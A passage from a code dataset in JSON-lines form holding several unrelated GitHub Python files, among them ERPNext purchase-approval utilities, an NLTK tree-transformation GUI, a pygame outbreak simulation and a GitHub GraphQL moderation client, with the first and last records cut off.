1][0]}.\"\n ]\n\n if 0 < verse_i < 7:\n return end_verse + _recursive_ends(verse_i - 1)\n\n return end_verse\n\n\ndef recite(start_verse, end_verse):\n return reduce(\n lambda a, b: a + [\"\"] + b,\n [verse(verse_i) for verse_i in range(start_verse - 1, end_verse)],\n )\n","repo_name":"silvadanilo/exercism","sub_path":"python/food-chain/food_chain.py","file_name":"food_chain.py","file_ext":"py","file_size_in_byte":1399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"25741867472","text":"# A simple python script to concatenate the name of your city and your pet to display a band name you can use.\n\ndef one():\n\n city = input(\"What is the name of the city you grew up in : \")\n pet = input(\"What is the name of your pet : \")\n band = city+\" \"+pet\n\n print(\"Your band name can be : \", band)\n\n\none()\n","repo_name":"sammybarman/100-Days-of-Python","sub_path":"Day1/band-name-generator.py","file_name":"band-name-generator.py","file_ext":"py","file_size_in_byte":319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37052636759","text":"# -*- coding: utf-8 -*-\n# encoding: utf-8\nfrom __future__ import unicode_literals\nimport frappe\nfrom frappe import _\nimport frappe, os\nfrom one_fm.purchase.doctype.request_for_purchase.request_for_purchase import get_users_with_role\nimport json\nfrom frappe.model.document import Document\nfrom frappe.utils import get_site_base_path\nfrom erpnext.setup.doctype.employee.employee import get_holiday_list_for_employee\nfrom frappe.utils.data import flt, nowdate, getdate, cint\nfrom frappe.utils.csvutils import read_csv_content\nfrom frappe.utils import cint, cstr, flt, nowdate, comma_and, date_diff, getdate, formatdate ,get_url, get_datetime\nfrom datetime import tzinfo, timedelta, datetime\nfrom dateutil import parser\nfrom datetime import date\nfrom frappe.model.naming import set_name_by_naming_series\nfrom hrms.hr.doctype.leave_ledger_entry.leave_ledger_entry import expire_allocation, create_leave_ledger_entry\nfrom dateutil.relativedelta import relativedelta\nfrom frappe.utils import cint, cstr, date_diff, flt, formatdate, getdate, get_link_to_form, \\\n comma_or, get_fullname, add_years, add_months, add_days, nowdate,get_first_day,get_last_day, today\nimport time\nimport math, random\nimport hashlib\nfrom one_fm.api.notification import create_notification_log\nfrom one_fm.utils import fetch_employee_signature\nfrom one_fm.utils import (workflow_approve_reject, send_workflow_action_email)\nfrom one_fm.api.doc_events import get_employee_user_id\n\nfrom frappe.desk.form.assign_to import remove as remove_assignment\n@frappe.whitelist()\ndef get_warehouse_contact_details(warehouse):\n from frappe.contacts.doctype.contact.contact import get_default_contact, get_contact_details\n contact = get_default_contact('Warehouse', warehouse)\n warehouse = frappe.get_doc('Warehouse', warehouse)\n location = ''\n contact_details = False\n if warehouse.address_line_1:\n location += warehouse.address_line_1+'\\n'\n if warehouse.address_line_2:\n location += warehouse.address_line_2+'\\n'\n if warehouse.city:\n location += warehouse.city+'\\n'\n if warehouse.state:\n location += warehouse.state\n if contact:\n contact_details = get_contact_details(contact)\n return contact_details, location\n\ndef get_approving_user(doc):\n \"\"\"Fetch the line manager of the user that created the request for material\n if no request for material is found, the Request for Purchase approver will be used \"\"\"\n if doc.get('purchase_type') not in ['Project',\"Stock\"]:\n rfm = doc.get('request_for_material')\n if rfm:\n employee = frappe.get_value(\"Request for Material\",rfm,'employee')\n department = frappe.db.get_value('Employee',employee, 'department')\n if department:\n approver = frappe.get_doc(\"Department\",department).expense_approvers[0].approver\n if approver:\n return approver\n else:\n frappe.throw(f\"Please set an Expense Approver for {department}\")\n else:\n rfp = doc.get('one_fm_request_for_purchase')\n if not rfp:\n frappe.throw(\"No approver found, Please create this Purchase Order from a Request for Purchase\")\n else:\n approver = frappe.get_value(\"Request for Purchase\",rfp,'approver')\n return approver\n elif doc.get(\"purchase_type\") == \"Project\":\n rfm = doc.get('request_for_material')\n if rfm:\n project = frappe.get_value(\"Request for Material\",rfm,'project')\n approving_employee = frappe.db.get_value('Project', project, 'account_manager')\n approver = get_employee_user_id(approving_employee)\n return approver\n else:\n rfp = doc.get('one_fm_request_for_purchase')\n if not rfp:\n frappe.throw(\"No approver found, Please create this Purchase Order from a Request for Purchase\")\n else:\n approver = frappe.get_value(\"Request for Purchase\",rfp,'approver')\n return approver\n elif doc.get('purchase_type') == \"Stock\":\n rfm = doc.get('request_for_material')\n if rfm:\n requesting_user = frappe.get_value(\"Request for Material\",rfm,'requested_by')\n employee_ = frappe.get_all(\"Employee\",{'user_id':requesting_user},['name','reports_to'])\n if employee_:\n reports_to = employee_[0].get('reports_to')\n if not reports_to:\n frappe.throw(f\"Please Set Reports To for {requesting_user}\")\n approver = get_employee_user_id(reports_to)\n return approver\n else:\n frappe.throw(f'User {requesting_user} not linked to any employee')\n else:\n rfp = doc.get('one_fm_request_for_purchase')\n if not rfp:\n frappe.throw(\"No approver found, Please create this Purchase Order from a Request for Purchase\")\n else:\n approver = frappe.get_value(\"Request for Purchase\",rfp,'approver')\n return approver\n \n\n\n\ndef set_approver(doc,ev):\n \"\"\"\n Fetch the line manager of the user that created the request for material\n if no request for material is found, the Request for Purchase.\n \n\n Args:\n doc (doctype): valid doctype\n \"\"\"\n approving_user = get_approving_user(doc)\n doc.department_manager = approving_user\n \ndef get_users_with_role(role):\n \"\"\"\n Get the users with the role\n\n Args:\n role: Valid role \n \"\"\"\n enabled_users = frappe.get_all(\"User\",{'enabled':1})\n enabled_users_ = [i.name for i in enabled_users if i.name!=\"Administrator\"]\n required_users = frappe.get_all(\"Has Role\",{'role':role,'parent':['In',enabled_users_]},['parent'])\n if required_users:\n return [i.parent for i in required_users]\n return []\n\n\ndef on_update(doc,ev):\n # \"Send workflow action emails to various employees based on the value of the workflow state field\"\n if doc.workflow_state == 'Pending HOD Approval':\n #Expense Approver in department\n send_workflow_action_email(doc,[doc.department_manager]) if doc.department_manager else send_workflow_action_email(doc,[get_approving_user(doc)])\n frappe.msgprint(\"Email Sent to {}\".format(doc.department_manager),alert=1)\n create_notification_log(_(f\"Workflow Action from {frappe.session.user}\"), _(f'Please note that a workflow action created by {frappe.session.user} is awaiting your review'), [doc.department_manager], doc)\n elif doc.workflow_state == 'Pending Procurement Manager Approval':\n #Get all the employees with purchase manager role\n users = get_users_with_role(\"Purchase Manager\")\n send_workflow_action_email(doc,users)\n create_notification_log(_(f\"Workflow Action from {frappe.session.user}\"), _(f'Please note that a workflow action created by {frappe.session.user} is awaiting your review'), users, doc)\n elif doc.workflow_state == 'Pending Finance Manager':\n fin_users = get_users_with_role('Finance Manager')\n send_workflow_action_email(doc,fin_users)\n create_notification_log(_(f\"Workflow Action from {frappe.session.user}\"), _(f'Please note that a workflow action created by {frappe.session.user} is awaiting your review'), fin_users, doc)\n elif doc.workflow_state == 'Pending Project Manager Approval':\n #Get the employee managing the project or project manager\n send_workflow_action_email(doc,[doc.department_manager]) if doc.department_manager else send_workflow_action_email(doc,[get_approving_user(doc)])\n frappe.msgprint(\"Email Sent to {}\".format(doc.department_manager),alert=1)\n create_notification_log(_(f\"Workflow Action from {frappe.session.user}\"), _(f'Please note that a workflow action created by {frappe.session.user} is awaiting your review'), [doc.department_manager], doc)\n elif doc.workflow_state == 'Pending Stock Approval':\n send_workflow_action_email(doc,[doc.department_manager]) if doc.department_manager else send_workflow_action_email(doc,[get_approving_user(doc)])\n frappe.msgprint(\"Email Sent to {}\".format(doc.department_manager),alert=1)\n create_notification_log(_(f\"Workflow Action from {frappe.session.user}\"), _(f'Please note that a workflow action created by {frappe.session.user} is awaiting your review'), [doc.department_manager], doc)\n # Get the owner of the purchase order\n elif doc.workflow_state == 'Draft':\n send_workflow_action_email(doc,[doc.owner])\n frappe.msgprint(\"Email Sent to {}\".format(doc.owner),alert=1)\n create_notification_log(_(f\"Workflow Action from {frappe.session.user}\"), _(f'Please note that a workflow action created by {frappe.session.user} is awaiting your review'), [doc.owner], doc)\n # Get the owner of the purchase order\n \n \n\n@frappe.whitelist()\ndef make_material_delivery_note(source_name, target_doc=None):\n from frappe.model.mapper import get_mapped_doc\n doclist = get_mapped_doc(\"Purchase Receipt\", source_name, \t{\n \"Purchase Receipt\": {\n \"doctype\": \"Material Delivery Note\",\n \"field_map\": [\n [\"name\", \"purchase_receipt\"]\n ],\n \"validation\": {\n \"docstatus\": [\"=\", 1]\n }\n },\n \"Purchase Receipt Item\": {\n \"doctype\": \"Material Delivery Note Item\"\n }\n }, target_doc)\n\n po = False\n pr = frappe.get_doc('Purchase Receipt', doclist.purchase_receipt)\n for item in pr.items:\n if item.purchase_order:\n po = item.purchase_order\n if po:\n rfp = frappe.get_value('Purchase Order', po, 'one_fm_request_for_purchase')\n if rfp:\n rfm = frappe.get_value('Request for Purchase', rfp, 'request_for_material')\n doclist.request_for_material = rfm if rfm else ''\n return doclist\n\n@frappe.whitelist()\ndef get_payment_details_for_po(po):\n mode_of_payment = False\n payment_amount = False\n purchase_order = frappe.get_doc('Purchase Order', po)\n payment = 'In Advance'\n query = \"\"\"\n select\n pri.name\n from\n `tabPurchase Receipt Item` pri, `tabPurchase Receipt` pr\n where\n pr.name=pri.parent and pr.docstatus=1 and pri.purchase_order=%s\n \"\"\"\n if frappe.db.sql(query, (po)):\n payment = 'On Delivery'\n if purchase_order.payment_schedule:\n for schedule in purchase_order.payment_schedule:\n if schedule.one_fm_payment == payment:\n mode_of_payment = schedule.mode_of_payment\n payment_amount = schedule.payment_amount\n return {'mode_of_payment':mode_of_payment, 'payment_amount':payment_amount}\n\ndef before_submit_purchase_receipt(doc, method):\n if not doc.one_fm_attach_delivery_note:\n frappe.throw(_('Please Attach Signed and Stamped Delivery Note'))\n \n\ndef filter_description_specific_for_item_group(doctype, txt, searchfield, start, page_len, filters):\n description_values = False\n query = \"select name from `tab{0}` where\"\n if filters.get(\"item_group\") and filters.get(\"doctype\") and frappe.db.has_column(filters.get(\"doctype\"), 'item_group'):\n query += \" item_group = %(item_group)s and\"\n query += \" name like %(txt)s limit %(start)s, %(page_len)s\"\n description_values = frappe.db.sql(query.format(filters.get(\"doctype\")),\n {'item_group': filters.get(\"item_group\"), 'start': start, 'page_len': page_len, 'txt': \"%%%s%%\" % txt}\n )\n if description_values:\n return description_values\n else:\n query = \"select name from `tab{0}` where item_group IS NULL and name like %(txt)s limit %(start)s, %(page_len)s\"\n return frappe.db.sql(query.format(filters.get(\"doctype\")),\n {'start': start, 'page_len': page_len, 'txt': \"%%%s%%\" % txt}\n )\n\n@frappe.whitelist()\ndef get_supplier_list(doctype, txt, searchfield, start, page_len, filters):\n if filters.get('request_for_quotation'):\n query = \"\"\"\n select\n s.supplier\n from\n `tabRequest for Supplier Quotation` rfq, `tabRequest for Supplier Quotation Supplier` s\n where\n s.parent=rfq.name and rfq.name=%(request_for_quotation)s and s.supplier like %(txt)s\n \"\"\"\n return frappe.db.sql(query,\n {\n 'request_for_quotation': filters.get(\"request_for_quotation\"),\n 'start': start,\n 'page_len': page_len,\n 'txt': \"%%%s%%\" % txt\n }\n )\n else:\n return frappe.db.sql(\"\"\"select name from `tabSupplier` where name like %(txt)s\"\"\",\n {\n 'start': start,\n 'page_len': page_len,\n 'txt': \"%%%s%%\" % txt\n }\n )\ndef close_assignments(doc):\n \"Close Todos for RFP when purchase order is being created\"\n if doc.one_fm_request_for_purchase:\n purchase_users = get_users_with_role('Purchase User')\n for each in purchase_users:\n remove_assignment(\"Request for Purchase\", doc.one_fm_request_for_purchase,each)\n \ndef set_quotation_attachment_in_po(doc, method):\n if doc.one_fm_request_for_purchase:\n doc.purchase_type = frappe.db.get_value(\"Request for Purchase\",doc.one_fm_request_for_purchase,'type')\n close_assignments(doc)\n quotations = frappe.get_list('Quotation From Supplier', {'request_for_purchase': doc.one_fm_request_for_purchase})\n if len(quotations) > 0:\n set_attachments_to_doctype('Quotation From Supplier', quotations, doc.doctype, doc.name)\n\ndef set_attachments_to_doctype(source_dt, list_of_source, target_dt, target_name):\n for source in list_of_source:\n \"\"\"Copy attachments\"\"\"\n from frappe.desk.form.load import get_attachments\n #loop through attachments\n for attach_item in get_attachments(source_dt, source.name):\n #save attachments to new doc\n _file = frappe.get_doc({\n \"doctype\": \"File\",\n \"file_url\": attach_item.file_url,\n \"file_name\": attach_item.file_name,\n \"attached_to_name\": target_name,\n \"attached_to_doctype\": target_dt,\n \"folder\": \"Home/Attachments\"})\n _file.save()\n\ndef set_po_letter_head(doc, method):\n\tif doc.workflow_state == \"Approved\" and not doc.letter_head:\n\t\tif frappe.db.exists('Letter Head', {'name': 'Authorization Signature'}):\n\t\t\tdoc.db_set('letter_head', 'Authorization Signature')\n\n\ndef validate_store_keeper_project_supervisor(doc, method):\n user = frappe.session.user\n user_emp = frappe.db.get_value(\"Employee\", {\"user_id\": user}, \"name\")\n roles_check = \"Warehouse Supervisor\" in frappe.get_roles()\n if doc.set_warehouse:\n warehouse_manager = frappe.db.get_value(\"Warehouse\", doc.set_warehouse, \"one_fm_store_keeper\")\n if warehouse_manager:\n emp = frappe.db.get_value(\"Employee\", warehouse_manager, \"name\")\n if not emp == user_emp:\n frappe.throw(\"You are not authorized to generate the receipt !\")\n else:\n return\n \n if doc.project:\n project_manager = frappe.db.get_value(\"Project\", doc.project, \"account_manager\")\n if project_manager:\n if not project_manager == user_emp:\n frappe.throw(\"You are not authorized to generate this receipt !\")\n else:\n return\n \n if not roles_check:\n frappe.throw(\"You are not authorized to generate this receipt !\")\n else:\n return","repo_name":"ONE-F-M/One-FM","sub_path":"one_fm/purchase/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":15680,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"48"} +{"seq_id":"26211132449","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nSynTagRus Tree Transformation GUI Module\nalexluu@brandeis.edu\n\nReference:\nhttp://www.nltk.org/_modules/nltk/draw/util.html\n\"\"\"\n\nfrom Tkinter import *\nimport tkMessageBox\nimport ttk\nfrom nltk.draw.util import CanvasFrame\nfrom nltk.draw.tree import TreeWidget\n#from syntagrus_utils import load_data\nfrom syntagrus_transformation import *\n# 1: change_labels()\n# 2: transform_relative_structures()\n# 3: transform_np2p_structures()\n# 4: transform_coordinative_structures()\n\n\n#p_trees = load_data('p_trees.pkl')\n#n2p_trees_temp = load_data('n2p_trees_temp.pkl')\n#all_trees = p_trees + n2p_trees\n\nclass TTFrame(): # Tree Transformation Frame\n def __init__(self,parent=None,index=0,trees=list(),\n readonly=False):\n self._trees = trees\n self._i_range = len(self._trees)\n self._bold = ('helvetica', -12, 'bold')\n self._helv = ('helvetica', -12)\n if parent is None:\n self._parent = Tk() \n else:\n self._parent = parent\n t1 = 'Syntagrus - Brandeis - Tree Transformation'\n self._parent.title(t1)\n self._parent.columnconfigure(0,weight=1)\n self._parent.rowconfigure(0,weight=1)\n\n\n self._m_f = ttk.Frame(self._parent)\n self._m_f.grid(column=0,row=0,sticky=(N,W,E,S))\n self._m_f.columnconfigure(0,weight=1)\n self._m_f.rowconfigure(1,weight=1)\n\n\n self._i_f = ttk.Frame(self._m_f)\n self._i_f.grid(column=0,row=0,sticky=(N,W,E,S))\n self._i_f.columnconfigure(0,weight=1)\n self._i_f.columnconfigure(7,weight=1)\n\n self._o_p = ttk.Panedwindow(self._m_f,\n orient=VERTICAL)\n self._o_p.grid(column=0,row=1,sticky=(N,W,E,S))\n\n\n t2 = 'Please enter the index (0-' + \\\n str(self._i_range-1) + ')'\n self._i_l = ttk.Label(self._i_f,text=t2)\n self._i_l.grid(column=1,row=0,columnspan=3,\n sticky=(N,W,E,S))\n self._i_l['anchor'] = 'center'\n\n self._index = StringVar()\n self._index.set(index)\n self._i_e = ttk.Entry(self._i_f,width=5,\n textvariable=self._index)\n self._i_e.grid(column=1,row=1,sticky=(N,W,E,S))\n if readonly:\n self._i_e['state']='readonly'\n\n self._i_b = ttk.Button(self._i_f,width=5,\n text='Draw',command=self._draw)\n self._i_b.grid(column=3,row=1,sticky=(N,W,E,S))\n\n self._extra_label = ttk.Label(self._i_f,text=' ')\n self._extra_label.grid(column=4,row=0,rowspan=2,\n sticky=(N,W,E,S))\n\n self._var_1 = IntVar()\n self._i_cb_1 = ttk.Checkbutton(self._i_f,\n text='Transformation 1',\n variable=self._var_1)\n self._i_cb_1.grid(column=5,row=0,sticky=(N,W,E,S))\n self._var_2 = IntVar()\n self._i_cb_2 = ttk.Checkbutton(self._i_f,\n text='Transformation 2',\n variable=self._var_2)\n self._i_cb_2.grid(column=5,row=1,sticky=(N,W,E,S))\n self._var_3 = IntVar()\n self._i_cb_3 = ttk.Checkbutton(self._i_f,\n text='Transformation 3',\n variable=self._var_3)\n self._i_cb_3.grid(column=6,row=0,sticky=(N,W,E,S))\n self._var_4 = IntVar()\n self._i_cb_4 = ttk.Checkbutton(self._i_f,\n text='Transformation 4',\n variable=self._var_4)\n self._i_cb_4.grid(column=6,row=1,sticky=(N,W,E,S))\n\n\n n = 250\n self._o_f_1 = ttk.Labelframe(self._o_p,\n text='Original',width=n,height=n)\n self._o_f_2 = ttk.Labelframe(self._o_p,\n text='Transformed',width=n,height=n)\n self._o_p.add(self._o_f_1)\n self._o_p.add(self._o_f_2)\n\n\n self._o_cf_1 = CanvasFrame(parent=self._o_f_1,\n width=n*2.5,height=n)\n self._o_cf_1.pack(expand=1,fill='both')\n self._o_cf_2 = CanvasFrame(parent=self._o_f_2,\n width=n*2.5,height=n)\n self._o_cf_2.pack(expand=1,fill='both')\n\n\n self._i_e.focus()\n self._parent.bind('',self._draw)\n self._parent.mainloop()\n\n\n\n def _draw_tree(self,cf,t):\n return TreeWidget(cf.canvas(),\n t,\n node_font=self._bold,\n leaf_color='#008040',\n node_color='#004080',\n roof_color='#004040',\n roof_fill='white',\n line_color='#004040',\n draggable=1,\n leaf_font=self._helv) \n\n def _draw(self,*arg): \n self._o_cf_1.canvas().delete('all')\n self._o_cf_2.canvas().delete('all') \n try:\n i = int(self._index.get())\n if i in range(self._i_range):\n original = self._draw_tree(self._o_cf_1,\n self._trees[i])\n self._o_cf_1.add_widget(original,10,10)\n if sum([self._var_1.get(),\n self._var_2.get(),\n self._var_3.get(),\n self._var_4.get()]):\n temp = deepcopy(self._trees[i])\n if self._var_1.get():\n change_label(temp,'SBD','SBAR')\n if self._var_2.get():\n transform_relative_structures(temp)\n if self._var_3.get():\n transform_np2p_structures(temp)\n if self._var_4.get():\n transform_coordinative_structures(temp)\n transformed = self._draw_tree(self._o_cf_2,\n temp)\n self._o_cf_2.add_widget(transformed,10,10)\n \n else:\n tkMessageBox.showinfo(message='Incorrect index!')\n self._index.set(0)\n except ValueError:\n pass\n\nif __name__ == \"__main__\":\n ttframe=TTFrame(trees=trees_plus)\n","repo_name":"luutuntin/SynTagRus_DS2PS","sub_path":"syntagrus_transformation_ui.py","file_name":"syntagrus_transformation_ui.py","file_ext":"py","file_size_in_byte":6253,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"31443158307","text":"class Solution:\n def findMaxConsecutiveOnes(self, nums: [int]) -> int:\n answer = cur = 0\n for i in nums:\n if i == 1:\n cur += 1\n else:\n answer = max(answer, cur)\n cur = 0\n return max(answer, cur)\n\n\nif __name__ == '__main__':\n input = [1, 1, 0, 0]\n\n print(Solution().findMaxConsecutiveOnes(input))\n","repo_name":"ruan65/python_algorithms_and_problem_solving","sub_path":"leetcode/a_485_max_consecutive_ones.py","file_name":"a_485_max_consecutive_ones.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19561541365","text":"from django.contrib import admin\nfrom django.urls import path\nfrom home import views\n\nurlpatterns = [\npath(\"\", views.index, name=\"home\"),\npath(\"signup\", views.signup_user, name=\"signup\"),\npath(\"login\", views.login_user, name=\"login\"),\npath(\"logout\", views.logout_user, name=\"logout\"),\n\npath(\"todos\", views.my_todos, name=\"my_todos\"),\npath(\"update/\", views.update, name=\"update\"),\npath(\"delete/\", views.delete, name=\"delete\")\n]\n\n","repo_name":"ankan-withadream/django-todo--app","sub_path":"home/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6788799970","text":"import random, pygame, sys, matplotlib\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport argparse\nfrom pygame.locals import *\nfrom virus import VirusNode\nfrom doctor import Doctor\npygame.init()\n\nsize = (width, height) = (850, 480)\nscreen = pygame.display.set_mode(size)\nclock = pygame.time.Clock()\ncolor = (26, 255, 255)\nfont = pygame.font.SysFont(None,70)\nseconds = 0\nbacteria = pygame.sprite.Group()\ndoctors = pygame.sprite.Group()\ndoc_num = 1\nbac_num = 5\nsplit_time = 500\nsuccess = 0\ntests = 0\nround_over = False\ndisplay = False\ndone = False\ncase_samples = 10\nsplit_times = 10\ntest_data = []\ndemo = False\n\n\ndef timeout():\n for i in range(300):\n clock.tick(60)\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n\n\ndef init():\n global round_over\n bacteria.empty()\n doctors.empty()\n round_over = False\n for i in range(bac_num):\n bacteria.add(VirusNode((random.randint(50, width-50), random.randint(50, height-50)), split_time))\n for i in range(doc_num):\n doctors.add(Doctor((random.randint(50, width-50), random.randint(50, height-50))))\n\n\ndef end_of_round(ticks):\n global demo, seconds, tests, success, doc_num, bac_num, split_time, done\n if display:\n timeout()\n tests += 1\n seconds = ticks\n if tests >= case_samples:\n test_data.append([doc_num, bac_num, split_time, tests, success / tests * 100])\n print(test_data[-1])\n if test_data[-1][-1] == 0:\n doc_num += 2\n elif test_data[-1][-1] <= 75:\n doc_num += 1\n else:\n if demo:\n split_time -= 1\n else:\n split_time = round(split_time*0.9)\n if split_time < 10:\n done = True\n tests = 0\n success = 0\n init()\n\n\ndef process_data():\n x = []\n y = []\n for row in test_data:\n if row[-1] >= 75:\n x.append(row[2])\n y.append(row[0])\n fig = plt.figure()\n plt.scatter(x, y)\n plt.title('Doctors needed to prevent an outbreak\\n started by 5 bacteria')\n plt.xlabel('split time (refreshes)')\n plt.ylabel('Doctors Needed')\n fig.savefig('data.png')\n\n\ndef main():\n global demo, success, round_over, display\n\n parser = argparse.ArgumentParser(description='Process demo mode.')\n parser.add_argument('--demo', dest='demo', action='store_true',\n help='run in demo mode')\n args = parser.parse_args()\n demo = args.demo\n if demo:\n print(\"-- Demo mode --\")\n display = True\n\n init()\n while not done:\n if display:\n clock.tick(60)\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_d:\n display = not display\n if len(bacteria) > bac_num*split_times:\n ticks = pygame.time.get_ticks()//1000\n text = font.render(\"You were overrun in {} seconds\".format(ticks - seconds), True, (255, 0, 0))\n text_rect = text.get_rect()\n round_over = True\n elif len(bacteria) == 0:\n ticks = pygame.time.get_ticks()//1000\n text = font.render(\"Outbreak stopped in {} seconds\".format(ticks - seconds), True,(255, 0, 0))\n text_rect = text.get_rect()\n success += 1\n round_over = True\n else:\n doctors.update()\n bacteria.update()\n pygame.sprite.groupcollide(doctors, bacteria, False, True)\n text = font.render(\"Bacteria Count: {}\".format(len(bacteria)), True, (255, 0, 0))\n text_rect = text.get_rect()\n if display:\n screen.fill(color)\n doctors.draw(screen)\n bacteria.draw(screen)\n screen.blit(text, text_rect)\n pygame.display.flip()\n if round_over:\n end_of_round(ticks)\n process_data()\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"cwkpj/pygame_projects","sub_path":"VirusSim/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4049,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39561626801","text":"import aiohttp\nimport logging\n\nfrom .calls import Queries, Mutations\nfrom dataclasses import dataclass\n\nbaseUrl = \"https://api.github.com/graphql\"\nlog = logging.getLogger(\"red.githubbot.http\")\n\n\n@dataclass\nclass ReviewType(object):\n APPROVE: str = \"APPROVE\"\n COMMENT: str = \"COMMENT\"\n DISMISS: str = \"DISMISS\"\n REQUEST_CHANGES: str = \"REQUEST_CHANGES\"\n\n\n@dataclass\nclass LockReasons(object):\n OFF_TOPIC: str = \"OFF_TOPIC\"\n RESOLVED: str = \"RESOLVED\"\n SPAM: str = \"SPAM\"\n TOO_HEATED: str = \"TOO_HEATED\"\n\n\n@dataclass\nclass MinimizeReasons(object):\n ABUSE: str = \"ABUSE\"\n OFF_TOPIC: str = \"OFF_TOPIC\"\n OUTDATED: str = \"OUTDATED\"\n RESOLVED: str = \"RESOLVED\"\n SPAM: str = \"SPAM\"\n\n\nclass GitHubAPI:\n def __init__(self, token: str):\n headers = {\n \"Authorization\": f\"bearer {token}\",\n \"Content-Type\": \"application/json\",\n \"Accept\": \"application/vnd.github.queen-beryl-preview+json\",\n }\n self.session = aiohttp.ClientSession(headers=headers)\n\n async def validateUser(self):\n async with self.session.post(baseUrl, json={\"query\": Queries.validateUser}) as call:\n return await call.json()\n\n async def validateRepo(self, repoOwner: str, repoName: str):\n async with self.session.post(\n baseUrl,\n json={\n \"query\": Queries.validateRepo,\n \"variables\": {\"repoOwner\": repoOwner, \"repoName\": repoName},\n },\n ) as call:\n return await call.json()\n\n async def findIssueOrPrId(self, repoOwner: str, repoName: str, issueID: int):\n async with self.session.post(\n baseUrl,\n json={\n \"query\": Queries.findIssueOrPrId,\n \"variables\": {\"repoOwner\": repoOwner, \"repoName\": repoName, \"issueID\": issueID},\n },\n ) as call:\n return await call.json()\n\n async def findIssueOrPrComments(\n self, repoOwner: str, repoName: str, issueNumber: int, cursor: str = None\n ):\n if cursor is None:\n async with self.session.post(\n baseUrl,\n json={\n \"query\": Queries.findIssueOrPrComments,\n \"variables\": {\n \"repoOwner\": repoOwner,\n \"repoName\": repoName,\n \"issueNumber\": issueNumber,\n },\n },\n ) as call:\n return await call.json()\n else:\n async with self.session.post(\n baseUrl,\n json={\n \"query\": Queries.findIssueOrPrCommentsFollowup,\n \"variables\": {\n \"repoOwner\": repoOwner,\n \"repoName\": repoName,\n \"issueNumber\": issueNumber,\n \"cursor\": cursor,\n },\n },\n ) as call:\n return await call.json()\n\n async def addReview(self, issueId: str, reason: str, reviewType: ReviewType):\n async with self.session.post(\n baseUrl,\n json={\n \"query\": Mutations.addReview,\n \"variables\": {\"issueId\": issueId, \"reason\": reason, \"reviewType\": reviewType},\n },\n ) as call:\n return await call.json()\n\n async def lockIssue(self, issueId: str, lockReason: LockReasons = None):\n if lockReason is None:\n async with self.session.post(\n baseUrl,\n json={\"query\": Mutations.lockIssueNoReason, \"variables\": {\"issueId\": issueId}},\n ) as call:\n return await call.json()\n else:\n async with self.session.post(\n baseUrl,\n json={\n \"query\": Mutations.lockIssue,\n \"variables\": {\"issueId\": issueId, \"lockReason\": lockReason},\n },\n ) as call:\n return await call.json()\n\n async def unlockIssue(self, issueId: str):\n async with self.session.post(\n baseUrl, json={\"query\": Mutations.unlockIssue, \"variables\": {\"issueId\": issueId}}\n ) as call:\n return await call.json()\n\n async def deleteComment(self, commentId: str):\n async with self.session.post(\n baseUrl, json={\"query\": Mutations.deleteComment, \"variables\": {\"commentId\": commentId}}\n ) as call:\n return await call.json()\n\n async def minimizeComment(self, commentId: str, reason: MinimizeReasons):\n async with self.session.post(\n baseUrl,\n json={\n \"query\": Mutations.minimizeComment,\n \"variables\": {\"commentId\": commentId, \"minimizeReason\": reason},\n },\n ) as call:\n return await call.json()\n\n async def unminimizeComment(self, commentId: str):\n async with self.session.post(\n baseUrl,\n json={\"query\": Mutations.unminimizeComment, \"variables\": {\"commentId\": commentId}},\n ) as call:\n return await call.json()\n","repo_name":"Kowlin/sentinel-unsupported","sub_path":"githubbot/http.py","file_name":"http.py","file_ext":"py","file_size_in_byte":5141,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"14371396186","text":"#!/usr/local/bin/python3\n\ndef minimum( *n ):\n print(n)\n mn=99\n for value in n[:]:\n if value < mn:\n mn = value\n return mn\n\ndef func( **kwargs):\n print(kwargs)\n\n\nprint(minimum(1,2,3,4,-10))\nfunc(a=1,b=42)\nfunc(**{'a': 1, 'b': 42})\nfunc(**dict(a=1,b=42))","repo_name":"roxana-andreea/BachelorProject","sub_path":"backend/work/python/learning/positional.py","file_name":"positional.py","file_ext":"py","file_size_in_byte":284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32812182692","text":"import os.path\nimport random\nimport shutil\n\nimport yaml\nfrom django.conf import settings\nfrom django.core.cache import cache\nfrom django.core.files.storage import default_storage\nfrom django.db import models\nfrom django.utils.translation import gettext_lazy as _\nfrom rest_framework.serializers import ValidationError\n\nfrom assets.models import Platform\nfrom common.db.models import JMSBaseModel\nfrom common.utils import lazyproperty, get_logger\nfrom common.utils.yml import yaml_load_with_i18n\n\nlogger = get_logger(__name__)\n\n__all__ = ['Applet', 'AppletPublication']\n\n\nclass Applet(JMSBaseModel):\n class Type(models.TextChoices):\n general = 'general', _('General')\n web = 'web', _('Web')\n\n class Edition(models.TextChoices):\n community = 'community', _('Community')\n enterprise = 'enterprise', _('Enterprise')\n\n name = models.SlugField(max_length=128, verbose_name=_('Name'), unique=True)\n display_name = models.CharField(max_length=128, verbose_name=_('Display name'))\n version = models.CharField(max_length=16, verbose_name=_('Version'))\n author = models.CharField(max_length=128, verbose_name=_('Author'))\n edition = models.CharField(max_length=128, choices=Edition.choices, default=Edition.community,\n verbose_name=_('Edition'))\n type = models.CharField(max_length=16, verbose_name=_('Type'), default='general', choices=Type.choices)\n is_active = 